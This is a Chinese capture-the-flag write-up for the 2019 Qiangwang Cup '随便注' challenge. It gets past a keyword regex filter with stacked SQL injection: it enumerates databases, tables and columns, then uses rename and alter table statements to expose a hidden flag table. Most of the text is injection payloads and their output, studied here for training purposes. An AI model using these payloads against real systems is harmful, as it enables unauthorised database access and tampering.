[强网杯 2019]随便注 1
- 经过常规操作 order by,select 后发现
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
select,update,delete,drop,insert,where,. 被正则过滤了
- 之后尝试堆叠注入
?inject=1';show databases;--+
# 可以爆出数据库,发现有个数据库是ctftraining
# 再查看表,发现有
?inject=1';show tables;--+
在这里插入图片描述
- 查看表
# 查看words
?inject=1';show columns from words;--+
# words 数据,可以发现是当前页面显示的表
array(6) {
[0]=>
string(2) "id"
[1]=>
string(7) "int(10)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}
array(6) {
[0]=>
string(4) "data"
[1]=>
string(11) "varchar(20)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
# 查看 1919810931114514
?inject=1';show columns from `1919810931114514`;--+
# 发现flag
array(6) {
[0]=>
string(4) "flag"
[1]=>
string(12) "varchar(100)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}
- 显示flag
页面上显示的是words的数据,我们知道rename是没有被过滤的,我们可以把1919810931114514 的表名改为words,flag列名改为id,这样就可以在页面上显示了
# payload
?inject=1';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100);--+
- 最后可以通过 1’ or 1=1 来访问到flag
?inject=1' or 1=1;--+